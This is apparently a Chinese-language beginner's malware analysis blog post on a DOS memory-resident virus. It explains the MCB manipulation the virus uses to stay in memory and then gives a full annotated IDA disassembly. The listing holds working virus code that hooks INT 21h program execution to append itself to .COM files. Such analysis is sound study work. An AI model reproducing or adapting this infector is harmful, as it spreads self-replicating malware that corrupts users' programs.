菜鸟的病毒分析3 内存驻留病毒

dos 内存驻留病毒
下面这个病毒不像之前的文件感染病毒那么简单了这是一个驻留内存病毒，所谓内存驻留病毒就是当程序结束之后还会有内存没有被释放，这就恐怖了可以利用这个修改中断让dos听你的话。为了能驻留内存就必须使程序结束后需要的内存不被释放这就要靠mcb这个内存管理控制块。mcb的相关概念查阅http://hi.baidu.com/dp282074009/blog/item/560e3319b642037ddab4bda6.html
病毒行为：更改21号中断 4B00h的功能 使其实现感染.com文件的功能
流程:判断是否已经主流内存，如果没有进行内存驻留 获取mcb的段址 更改节大小为病毒预留空间 使结束程序时它不被释放
通过psp结构的结束段址获取病毒写入病毒的位置 写入更改21号中断的病毒 此时的21号中断4b00h执行的就是感染com文件的功能
seg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; | This file is generated by The Interactive Disassembler (IDA) |
seg000:0000 ; | Copyright (c) 2007 by DataRescue sa/nv, <[email protected]> |
seg000:0000 ; | Licensed to: Mach EDV Dienstleistungen, Jan Mach, 1 user, adv, 11/2007 |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5 : D4B946D3359F303FDBA49D0E5EBC388B
seg000:0000
seg000:0000 ; File Name : C:\新建文件夹\tsr.exe
seg000:0000 ; Format : MS-DOS executable (EXE)
seg000:0000 ; Base Address: 0h Range: 0h-161h Loaded length: 161h
seg000:0000 ; Entry Point : 0:0
seg000:0000
seg000:0000 .386
seg000:0000 .model large
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:seg000, ds:nothing, fs:nothing, gs:nothing
seg000:0000
seg000:0000 ; =============== S U B R O U T I N E =======================================
seg000:0000
seg000:0000 ; Attributes: bp-based frame
seg000:0000
seg000:0000 public start
seg000:0000 start proc near ; CODE XREF: seg000:loc_136J
seg000:0000
seg000:0000 var_6 = word ptr -6
seg000:0000 arg_73 = byte ptr 75h
seg000:0000
seg000:0000 mov bp, sp
seg000:0002 int 3 ; Trap to Debugger
seg000:0003 mov bp, [bp+var_6]
seg000:0006 sub bp, 3
seg000:000A push ds
seg000:000B push es
seg000:000C mov ax, 3A29h ; 删除文件 不过 有点奇怪 因为都没有指定删除路径
seg000:000F int 21h ; DOS - 2+ - REMOVE A DIRECTORY ENTRY (RMDIR)
seg000:000F ; DS:DX -> ASCIZ pathname (may include drive)
seg000:0011 cmp ax, 3B29h ; ax=错误吗
seg000:0014 jz short loc_68 ; 看到这应该明白了吧 原来被骗了 上面 的中断 是病毒驻留内存钩住的中段
seg000:0016 mov ax, ds ; 没有驻留内存 那么 进行下面
seg000:0018 dec ax ; 此时ax指向mcb块
seg000:0019 mov ds, ax
seg000:001B assume ds:nothing
seg000:001B sub word ptr ds:3, 18h ; 改变mcb中内存的大小 使得程序 结束不能将内存全部释放
seg000:0021 sub word ptr ds:12h, 18h ; psp结构中分配段的结束段址
seg000:0027 mov ax, ds:12h
seg000:002A mov ds, ax ; ds=ax指向全部内存减去病毒大小的位置
seg000:002C assume ds:nothing
seg000:002C inc ax
seg000:002D mov es, ax ; 这里设置病毒自己的mcb块
seg000:002F mov byte ptr ds:0, 5Ah ; 'Z'
seg000:0034 mov word ptr ds:1, 8
seg000:003A mov word ptr ds:3, 17h
seg000:0040 push cs
seg000:0041 pop ds
seg000:0042 assume ds:seg000
seg000:0042 xor di, di
seg000:0044 mov cx, 0A2h ; '?
seg000:0047 mov si, bp
seg000:0049 rep movsw ; 写病毒
seg000:004B xor ax, ax
seg000:004D mov ds, ax
seg000:004F push ds
seg000:0050 lds ax, dword ptr loc_84 ; 当前的84h
seg000:0054 assume ds:nothing
seg000:0054 mov es:137h, ax ; ax是新的偏移
seg000:0058 mov word ptr es:139h, ds ; ds是新的断值
seg000:005D pop ds
seg000:005E mov word ptr ds:84h, 78h ; 'x' ; 与上面 的84是相同的
seg000:0064 mov word ptr ds:86h, es
seg000:0068
seg000:0068 loc_68: ; CODE XREF: start+14j
seg000:0068 pop ds
seg000:0069 pop es
seg000:006A mov di, 100h
seg000:006D push di
seg000:006E lea si, [bp+arg_73] ; 恢复前三个字节
seg000:0072 movsb
seg000:0073 movsw
seg000:0074 retn
seg000:0074 start endp ; sp-analysis failed
seg000:0074 ;病毒驻留的21号中断
seg000:0075 ; ---------------------------------------------------------------------------
seg000:0075 int 20h ; DOS - PROGRAM TERMINATION
seg000:0075 ; returns to DOS--identical to INT 21/AH=00h
seg000:0077 ; ---------------------------------------------------------------------------
seg000:0077 add [bx+si+53h], dl
seg000:007A push cx
seg000:007B push dx
seg000:007C push si
seg000:007D push di
seg000:007E push ds
seg000:007F push es
seg000:0080 cmp ax, 4B00h ；这个太狠了 本来是执行程序的中断被修改了
那么只要有程序被修改 那就惨了
seg000:0083
seg000:0083 loc_83: ; DATA XREF: start:loc_50r
seg000:0083 jz short loc_88
seg000:0085
seg000:0085 loc_85: ; CODE XREF: seg000:009Cj
seg000:0085 jmp loc_12E
seg000:0088 ; ---------------------------------------------------------------------------
seg000:0088
seg000:0088 loc_88: ; CODE XREF: seg000:loc_83j
seg000:0088 mov word ptr cs:dword_143, dx ；保存的是文件名
seg000:008D mov word ptr cs:dword_143+2, ds
seg000:0092 mov ax, 4300h
seg000:0095 lds dx, cs:dword_143
seg000:009A int 21h ; DOS - 2+ - GET FILE ATTRIBUTES
seg000:009A ; DS:DX -> ASCIZ file name or directory
seg000:009A ; name without trailing slash
seg000:009C jb short loc_85
seg000:009E push cx
seg000:009F push ds
seg000:00A0 push dx
seg000:00A1 mov ax, 4301h
seg000:00A4 push ax
seg000:00A5 xor cx, cx
seg000:00A7 int 21h ; DOS - 2+ - SET FILE ATTRIBUTES 设置文件属性问自己定义文件操作准备
seg000:00A7 ; DS:DX -> ASCIZ file name
seg000:00A7 ; CX = file attribute bits
seg000:00A9 lds dx, cs:dword_143 ；打开文件
seg000:00AE mov ax, 3D02h
seg000:00B1 int 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLE
seg000:00B1 ; DS:DX -> ASCIZ filename
seg000:00B1 ; AL = access mode
seg000:00B1 ; 2 - read & write
seg000:00B3 xchg ax, bx
seg000:00B4 push cs
seg000:00B5 pop ds
seg000:00B6 assume ds:seg000
seg000:00B6 push cs
seg000:00B7 pop es
seg000:00B8 assume es:seg000
seg000:00B8 mov ax, 5700h
seg000:00BB int 21h ; DOS - 2+ - GET FILE'S DATE/TIME
seg000:00BB ; BX = file handle
seg000:00BD push cx
seg000:00BE push dx
seg000:00BF mov cx, 1Ah
seg000:00C2 mov dx, 147h
seg000:00C5 mov ah, 3Fh
seg000:00C7 int 21h ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg000:00C7 ; BX = file handle, CX = number of bytes to read
seg000:00C7 ; DS:DX -> buffer
seg000:00C9 mov ax, 4202h
seg000:00CC xor dx, dx ；移动文件指针
seg000:00CE xor cx, cx
seg000:00D0 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:00D0 ; AL = method: offset from end of file
seg000:00D2 cmp word ptr byte_147, 5A4Dh
seg000:00D8 jz short loc_E5
seg000:00DA mov cx, 148h
seg000:00DD add cx, 146h
seg000:00E1 cmp ax, cx
seg000:00E3 jl short loc_E7
seg000:00E5
seg000:00E5 loc_E5: ; CODE XREF: seg000:00D8j
seg000:00E5 ; seg000:00EAj
seg000:00E5 jmp short loc_11D
seg000:00E7 ; ---------------------------------------------------------------------------
seg000:00E7
seg000:00E7 loc_E7: ; CODE XREF: seg000:00E3j
seg000:00E7 cmp ax, 0FE9Eh
seg000:00EA ja short loc_E5
seg000:00EC mov di, 75h ; 'u'
seg000:00EF mov si, 147h
seg000:00F2 movsb
seg000:00F3 movsw
seg000:00F4 sub ax, 3
seg000:00F7 mov word ptr byte_147+1, ax
seg000:00FA mov dl, 0E9h ; '?
seg000:00FC mov byte_147, dl
seg000:0100 mov dx, 0
seg000:0103 mov cx, 143h ；写入病毒啦
seg000:0106 mov ah, 40h
seg000:0108 int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000:0108 ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:010A xor cx, cx
seg000:010C xor dx, dx
seg000:010E mov ax, 4200h
seg000:0111 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:0111 ; AL = method: offset from beginning of file
seg000:0113 mov dx, 147h
seg000:0116 mov cx, 3 ；重写文件前三个字节 跳转到病毒代码
seg000:0119 mov ah, 40h
seg000:011B int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000:011B ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:011D
seg000:011D loc_11D: ; CODE XREF: seg000:loc_E5j
seg000:011D mov ax, 5701h
seg000:0120 pop dx
seg000:0121 pop cx
seg000:0122 int 21h ; DOS - 2+ - SET FILE'S DATE/TIME
seg000:0122 ; BX = file handle, CX = time to be set
seg000:0122 ; DX = date to be set
seg000:0124 mov ah, 3Eh
seg000:0126 int 21h ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000:0126 ; BX = file handle
seg000:0128 pop ax
seg000:0129 pop dx
seg000:012A pop ds
seg000:012B assume ds:nothing
seg000:012B pop cx
seg000:012C int 21h ; DOS -
seg000:012E
seg000:012E loc_12E: ; CODE XREF: seg000:loc_85j
seg000:012E pop es
seg000:012F assume es:nothing
seg000:012F pop ds
seg000:0130 pop di
seg000:0131 pop si
seg000:0132 pop dx
seg000:0133 pop cx
seg000:0134 pop bx
seg000:0135 pop ax
seg000:0136 jmp far ptr start
seg000:0136 ; ---------------------------------------------------------------------------
seg000:013B db 5Bh ; [
seg000:013C db 50h ; P
seg000:013D db 53h ; S
seg000:013E db 2Fh ; /
seg000:013F db 47h ; G
seg000:0140 db 0FDh ; ?
seg000:0141 db 5Dh ; ]
seg000:0142 db 0
seg000:0143 dword_143 dd 0 ; DATA XREF: seg000:loc_88w
seg000:0143 ; seg000:0095r ...
seg000:0147 byte_147 db 1Ah dup(0) ; DATA XREF: seg000:00D2r
seg000:0147 ; seg000:00FCw ...
seg000:0147 seg000 ends
seg000:0147
seg000:0147
seg000:0147 end start